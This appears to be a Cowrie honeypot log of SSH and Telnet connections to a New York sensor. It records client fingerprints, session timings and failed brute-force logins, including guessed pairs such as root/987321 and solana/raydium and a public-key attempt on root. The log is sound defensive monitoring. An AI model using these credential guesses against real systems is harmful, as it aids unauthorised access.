{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":55478,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3f1405c5eea","protocol":"ssh","message":"New connection: 43.163.121.249:55478 (159.203.135.109:22) [session: e3f1405c5eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:43.169392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:43.174493Z","src_ip":"43.163.121.249","session":"e3f1405c5eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:43.412994Z","src_ip":"43.163.121.249","session":"e3f1405c5eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b628d4eed8","protocol":"telnet","message":"New connection: 192.119.13.58:49480 (10.17.0.5:23) [session: 61b628d4eed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:43.540305Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:44.011089Z","src_ip":"175.118.127.138","session":"0365466f4373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987321","message":"login attempt [root/987321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:44.398800Z","src_ip":"43.163.121.249","session":"e3f1405c5eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55140,"dst_ip":"10.17.0.5","dst_port":23,"session":"caec004e3a08","protocol":"telnet","message":"New connection: 192.119.13.58:55140 (10.17.0.5:23) [session: caec004e3a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:44.825782Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:45.640306Z","src_ip":"43.163.121.249","session":"e3f1405c5eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.75246810913086,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:48.779124Z","src_ip":"192.119.13.58","session":"a4047d732216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":39206,"dst_ip":"159.203.135.109","dst_port":22,"session":"508ef066f32d","protocol":"ssh","message":"New connection: 69.6.222.198:39206 (159.203.135.109:22) [session: 508ef066f32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:50.554478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:50.559471Z","src_ip":"69.6.222.198","session":"508ef066f32d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:50.673705Z","src_ip":"69.6.222.198","session":"508ef066f32d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3","message":"login attempt [root/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:51.163702Z","src_ip":"69.6.222.198","session":"508ef066f32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:52.283134Z","src_ip":"69.6.222.198","session":"508ef066f32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.46975302696228,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:52.855398Z","src_ip":"192.119.13.58","session":"89a8d3d94ead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59442,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04e78181b1e","protocol":"telnet","message":"New connection: 192.119.13.58:59442 (10.17.0.5:23) [session: f04e78181b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:53.053963Z"}
{"eventid":"cowrie.session.closed","duration":0.01587963104248047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:53.069687Z","src_ip":"192.119.13.58","session":"f04e78181b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50414,"dst_ip":"10.17.0.5","dst_port":23,"session":"93242b7f1df8","protocol":"telnet","message":"New connection: 192.119.13.58:50414 (10.17.0.5:23) [session: 93242b7f1df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:04.625598Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54254,"dst_ip":"10.17.0.5","dst_port":23,"session":"e377ac4a68ca","protocol":"telnet","message":"New connection: 192.119.13.58:54254 (10.17.0.5:23) [session: e377ac4a68ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:05.616089Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55114,"dst_ip":"10.17.0.5","dst_port":22,"session":"da93d4ef37a3","protocol":"ssh","message":"New connection: 193.32.162.145:55114 (10.17.0.5:22) [session: da93d4ef37a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:06.656601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:06.675315Z","src_ip":"193.32.162.145","session":"da93d4ef37a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:06.782603Z","src_ip":"193.32.162.145","session":"da93d4ef37a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:07.186376Z","src_ip":"193.32.162.145","session":"da93d4ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:08.289721Z","src_ip":"193.32.162.145","session":"da93d4ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.35142374038696,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:09.703218Z","src_ip":"192.119.13.58","session":"b8ec0a322def","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":42826,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfc70d016a0d","protocol":"ssh","message":"New connection: 150.109.25.130:42826 (159.203.135.109:22) [session: bfc70d016a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:10.112675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:10.122363Z","src_ip":"150.109.25.130","session":"bfc70d016a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:10.361741Z","src_ip":"150.109.25.130","session":"bfc70d016a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rim","message":"login attempt [root/rim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:11.347914Z","src_ip":"150.109.25.130","session":"bfc70d016a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52354,"dst_ip":"10.17.0.5","dst_port":23,"session":"974cefd085b9","protocol":"telnet","message":"New connection: 192.119.13.58:52354 (10.17.0.5:23) [session: 974cefd085b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:12.192927Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:12.593542Z","src_ip":"150.109.25.130","session":"bfc70d016a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3227174282074,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:12.878547Z","src_ip":"192.119.13.58","session":"1c1be22d1e66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":49090,"dst_ip":"10.17.0.5","dst_port":22,"session":"45988838e414","protocol":"ssh","message":"New connection: 103.149.28.157:49090 (10.17.0.5:22) [session: 45988838e414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:14.582991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:14.588462Z","src_ip":"103.149.28.157","session":"45988838e414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.857707500457764,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:14.755564Z","src_ip":"192.119.13.58","session":"3dca9f9056f7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:14.837029Z","src_ip":"103.149.28.157","session":"45988838e414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goblin","message":"login attempt [root/goblin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:15.585393Z","src_ip":"103.149.28.157","session":"45988838e414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:16.837451Z","src_ip":"103.149.28.157","session":"45988838e414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.92060375213623,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:17.548567Z","src_ip":"192.119.13.58","session":"86dd022bc63d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49736,"dst_ip":"10.17.0.5","dst_port":23,"session":"4579ce065961","protocol":"telnet","message":"New connection: 192.119.13.58:49736 (10.17.0.5:23) [session: 4579ce065961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:18.608330Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34636,"dst_ip":"10.17.0.5","dst_port":23,"session":"91adaea53c65","protocol":"telnet","message":"New connection: 192.119.13.58:34636 (10.17.0.5:23) [session: 91adaea53c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:21.737203Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":34744,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f3216f06f95","protocol":"ssh","message":"New connection: 148.153.121.224:34744 (10.17.0.5:22) [session: 4f3216f06f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:21.879155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:21.884721Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:21.927518Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:ac:dd:b9:ed:58:9c:f6:35:d5:65:72:54:0c:1b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqCf1ZgAEalaxn7W+WM4tzvlQOgB+EN1AHBbgrMtkyBBK+pGmB4p1XduKhWLgY5etjUVGuodZbYhVMDAInNWvPSXDEZiSbr708KatdqwqmuooxIH9AOLrLfruD741HDJpDMdMeSPv3kAHBXORGkKLsdiH8IBlIU/qykCzhI3kFDgmaNuURCz1b84e02MYY8taqGNIgcjJHOu4Cw5EtzobVuQu6wA/yVfq8IWyA3uojaIXtFas5oCY5rfHMxKVpaJa1dUsxkK/ms6IhefWV95NqHcQosd8Vl3S3zdhQTiHSc/S4oJQ963MVH4sKecjh5/TYyrUGPUrqEGhh/eJLd+Px","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:ac:dd:b9:ed:58:9c:f6:35:d5:65:72:54:0c:1b:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.119200Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:ac:dd:b9:ed:58:9c:f6:35:d5:65:72:54:0c:1b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqCf1ZgAEalaxn7W+WM4tzvlQOgB+EN1AHBbgrMtkyBBK+pGmB4p1XduKhWLgY5etjUVGuodZbYhVMDAInNWvPSXDEZiSbr708KatdqwqmuooxIH9AOLrLfruD741HDJpDMdMeSPv3kAHBXORGkKLsdiH8IBlIU/qykCzhI3kFDgmaNuURCz1b84e02MYY8taqGNIgcjJHOu4Cw5EtzobVuQu6wA/yVfq8IWyA3uojaIXtFas5oCY5rfHMxKVpaJa1dUsxkK/ms6IhefWV95NqHcQosd8Vl3S3zdhQTiHSc/S4oJQ963MVH4sKecjh5/TYyrUGPUrqEGhh/eJLd+Px","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.127401Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
